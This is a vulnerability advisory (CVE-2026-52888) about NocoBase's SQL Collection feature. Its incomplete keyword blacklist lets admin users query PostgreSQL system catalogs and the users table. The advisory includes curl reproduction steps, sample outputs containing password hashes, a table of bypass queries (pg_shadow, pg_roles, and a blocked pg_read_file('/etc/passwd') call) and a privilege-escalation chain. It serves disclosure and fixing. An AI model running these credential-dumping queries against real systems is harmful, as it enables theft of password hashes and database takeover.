CVE-2026-52888

# Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass ## Summary The `checkSQL()` function in `plugin-collection-sql` implements a **keyword-based blacklist** to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is **incomplete**: it only checks for a subset of dangerous PostgreSQL system functions and **does not restrict access to sensitive system catalog tables** such as `pg_shadow`, `pg_roles`, or `pg_stat_activity`. An authenticated user with the `admin` role can exploit this to **dump PostgreSQL password hashes** (`pg_shadow`), **read all NocoBase user credentials** (hashed passwords from the `users` table), and **enumerate the full database schema** — all data that admin users should never be able to access through the application interface. --- ## Affected Component **File**: `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts` ```typescript export const checkSQL = (sql: string) => { const dangerKeywords = [ // PostgreSQL — BLOCKED 'pg_read_file', 'pg_read_binary_file', 'pg_stat_file', 'pg_ls_dir', 'pg_logdir_ls', 'pg_terminate_backend', 'pg_cancel_backend', 'current_setting', 'set_config', 'pg_reload_conf', 'pg_sleep', 'generate_series', // MySQL — BLOCKED 'LOAD_FILE', 'BENCHMARK', '@@global.', '@@session.', // SQLite — BLOCKED 'sqlite3_load_extension', 'load_extension', ]; // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity, // information_schema, users table direct access, etc. sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } }; ``` The `execute` action in `sql.ts` passes user-supplied SQL directly through this insufficient check: ```typescript // sql.ts — execute action execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); // ← insufficient validation } catch (e) { ctx.throw(400, ctx.t(e.message)); } // SQL is executed directly against the database const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true }); ctx.body = { data, fields, sources }; } ``` --- ## Root Cause The blacklist approach is **fundamentally incomplete**. It attempts to enumerate every dangerous construct but misses entire categories: 1. **PostgreSQL system catalog tables** — `pg_shadow`, `pg_authid`, `pg_roles`, `pg_stat_activity` are not restricted 2. **Application-level sensitive tables** — `users` (containing hashed passwords) can be queried directly 3. **`information_schema`** — full schema enumeration is possible 4. **Schema-qualified variants** — even some blocked functions could be bypassed via `pg_catalog.` prefix (e.g. `pg_catalog.pg_read_file` may bypass checks in older versions) The correct approach is an **allowlist** (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords. --- ## Steps to Reproduce **Prerequisites**: A user account with the `admin` role (has the `pm.data-source-manager.collection-sql` ACL snippet). **Step 1**: Authenticate and obtain a token: ```bash TOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \ -H "Content-Type: application/json" \ -d '{"email":"admin@example.com","password":"<password>"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])") ``` **Step 2**: Dump PostgreSQL password hashes from `pg_shadow`: ```bash curl -s -X POST http://<TARGET>/api/sqlCollection:execute \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"sql":"SELECT usename, passwd FROM pg_shadow LIMIT 10"}' ``` **Response**: ```json { "data": { "data": [ { "usename": "nocobase", "passwd": "SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU=" } ] } } ``` **Step 3**: Dump NocoBase user credentials: ```bash curl -s -X POST http://<TARGET>/api/sqlCollection:execute \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"sql":"SELECT id, email, username, password FROM users LIMIT 100"}' ``` **Response** (verified): ```json { "data": { "data": [ { "id": 1, "email": "admin@nocobase.com", "username": "nocobase", "password": "1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b" } ] } } ``` --- ## Additional Verified Bypass Queries | Query | Blocked? | Data Exposed | |-------|----------|--------------| | `SELECT usename, passwd FROM pg_shadow` |**Not blocked** | PostgreSQL DB user password hashes | | `SELECT id, email, password FROM users` |**Not blocked** | All NocoBase user credential hashes | | `SELECT table_name FROM information_schema.tables` |**Not blocked** | Full database schema enumeration | | `SELECT rolname, rolsuper FROM pg_roles` |**Not blocked** | All DB roles and superuser flags | | `SELECT pid, query FROM pg_stat_activity` |**Not blocked** | Live SQL queries from all sessions | | `SELECT pg_read_file('/etc/passwd')` |Blocked | — | | `SELECT current_setting('app.key')` |Blocked | — | --- ## Why Admin-Required Still Matters This vulnerability is rated **High** despite requiring admin-level authentication. The reasoning: ### 1. Security Boundary Violation (Scope Changed → S:C) The `admin` role in NocoBase is an **application-level** role — it manages workflows, collections, and UI. It is **not** a database administrator. Accessing `pg_shadow` is a **PostgreSQL system-level** privilege that admins should never have. The `checkSQL()` function was explicitly created to enforce this boundary; bypassing it breaks the intended security model. ### 2. Data That Admin Cannot Access Through Normal UI Even with admin privileges, NocoBase's UI and API **do not expose**: - `pg_shadow` (PostgreSQL internal password store) - Raw `users.password` hashes via standard API responses - Full `information_schema` enumeration VUL-2 grants access to all of the above — data the application explicitly chose not to expose. ### 3. Enables Lateral Movement The `pg_shadow` SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains **direct PostgreSQL access** with the application's DB credentials — bypassing the NocoBase application layer entirely. This enables reading **all data** in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas. ### 4. Enables Full Attack Chain When Combined with Other Vulnerabilities ``` Member user (lowest privilege) → VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger) → VUL-1: RCE reads APP_KEY from process.env → Forge JWT with admin role → VUL-2: Dump pg_shadow + users.password → Crack hashes → full PostgreSQL access ``` --- ## Impacted API Endpoint ``` POST /api/sqlCollection:execute ``` - **Authentication**: Required (`admin` role) - **ACL Snippet** registered in `plugin.ts`: ```typescript this.app.acl.registerSnippet({ name: `pm.data-source-manager.collection-sql`, actions: ['sqlCollection:*'], // includes :execute }); ``` - The `admin` role includes this snippet by default. --- ## Recommended Fixes ### Fix 1 (Immediate): Extend the blacklist with system catalog tables ```typescript const dangerKeywords = [ // ... existing entries ... // ADD: PostgreSQL system catalog tables with sensitive data 'pg_shadow', 'pg_authid', 'pg_auth_members', 'pg_stat_activity', 'pg_roles', // Note: information_schema should also be restricted for non-DBA roles ]; ``` ### Fix 2 (Recommended): Replace blacklist with schema allowlist Instead of blocking dangerous keywords, only allow queries against **user-defined collection tables**: ```typescript // Allowlist approach: extract table names from AST and verify against known collections const allowedTables = await db.getCollectionNames(); // tables created by NocoBase users const referencedTables = extractTableNames(parsedSQL); if (!referencedTables.every(t => allowedTables.includes(t))) { throw new Error('Query references tables outside the allowed scope'); } ``` ### Fix 3 (Defense-in-depth): Use a read-only, restricted DB user The application's DB connection should use a PostgreSQL user that: - Does **not** have `SELECT` privilege on `pg_shadow` or `pg_authid` - Only has access to the application's own schema (`nocobase` schema) This ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs. --- ## Environment | Field | Value | |-------|-------| | NocoBase version | 2.0.59-full | | Database | PostgreSQL 16.14 | | Deployment | Docker (`nocobase/nocobase:2.0.59-full`) | | Vulnerable file | `plugin-collection-sql/src/server/utils.ts` — `checkSQL()` | | Vulnerable endpoint | `POST /api/sqlCollection:execute` | | Auth required | Admin role (`pm.data-source-manager.collection-sql` snippet) | --- ## Timeline | Date | Event | |------|-------| | 2026-05-29 | Vulnerability discovered via whitebox source code audit of `utils.ts` | | 2026-05-29 | Exploit verified on live Docker instance — `pg_shadow` and `users.password` dumped | | 2026-05-29 | Report submitted to maintainers | --- ## Script and video PoC: [poc_vul2_sqli.py](https://github.com/user-attachments/files/28380402/poc_vul2_sqli.py) https://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732